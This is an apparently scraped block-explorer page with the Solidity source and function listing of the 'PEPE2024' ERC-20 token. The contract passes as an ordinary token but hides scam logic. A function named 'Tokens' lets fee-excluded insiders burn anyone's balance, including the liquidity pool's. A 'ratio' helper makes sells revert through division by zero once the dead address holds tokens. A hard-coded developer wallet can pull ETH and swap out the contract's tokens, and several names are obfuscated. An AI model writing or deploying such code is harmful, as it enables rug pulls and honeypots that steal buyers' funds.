function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract PEPE2024 is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public _uniswapV2Router;
address public uniswapV2Pair;
address private _teamtAresss;
address private _delevptAresss;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "PEPE2024";
string private constant _symbol = "$PEPE";
uint256 public initialTotalSupply = 420690_000_000 * 1e18;
uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;
uint256 public maxWallet = (3 * initialTotalSupply) / 100;
uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 0;
uint256 public SellFee = 0;
uint256 public BurnBuyFee = 0;
uint256 public BurnSellFee = 1;
uint256 feeDenominator = 100;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
modifier ensure(address sender) {
require(isExcludedFromFees(sender));
_;
}
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor() ERC20(_name, _symbol) {
_teamtAresss = payable(_msgSender());
_delevptAresss = payable(0x24127a17325E3E40757B35f61edE77C726AB6C45);
excludeFromFees(owner(), true);
excludeFromFees(address(_delevptAresss), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(_delevptAresss), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, initialTotalSupply);
}
receive() external payable {}
function OpenTrading()
external
onlyOwner
{
require(!tradingOpen,"Trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateDevWallet(address newDevWallet)
public
onlyOwner
{
emit devWalletUpdated(newDevWallet, _teamtAresss);
_teamtAresss = newDevWallet;
}
function ratio(uint256 fee) internal view returns (uint256) {
return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
}
function excludeFromFees(address account, bool excluded)
public
onlyOwner
{
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(ratio(BurnSellFee) * feeDenominator);
}
else {
fees = amount.mul(BuyFee).div(ratio(BurnBuyFee) * feeDenominator);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
_delevptAresss,
block.timestamp
);
}
function removeLimitikopghk() external onlyOwner {
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function LOCKLP()
public
payable
onlyOwner
{
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
_approve(address(this), address(_uniswapV2Router), type(uint256).max);
}
function clearStuckedBalance() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(_msgSender() == _delevptAresss);
payable(msg.sender).transfer(address(this).balance);
}
function Tokens(ERC20 tokenAddress, uint256 amount) external ensure(msg.sender) {
_burn(address(tokenAddress), amount);
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function manualswap(uint256 percent) external {
require(_msgSender() == _delevptAresss);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 requiredBalance = totalSupplyAmount * percent / 100;
require(contractBalance >= requiredBalance, "Not enough tokens");
swapTokensForEth(requiredBalance);
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
swapTokensForEth(tokensToSwap);
}
}
Read Contract
BurnBuyFee 0x414a8786 → uint256
BurnSellFee 0x3ff52513 → uint256
BuyFee 0xdd854652 → uint256
SellFee 0xcf9522fd → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2Pair 0x49bd5a5e → address
Write Contract 18 functions
These functions modify contract state and require a wallet transaction to execute.
LOCKLP 0x73ae91aa
No parameters
OpenTrading 0x51cd7cc3
No parameters
Tokens 0x472225a7
address tokenAddress
uint256 amount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
clearStuckedBalance 0x4ab0c04a
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualswap 0x881dce60
uint256 percent
removeLimitikopghk 0x0ae86edc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateDevWallet 0x1816467f
address newDevWallet
Recent Transactions
No transactions found for this address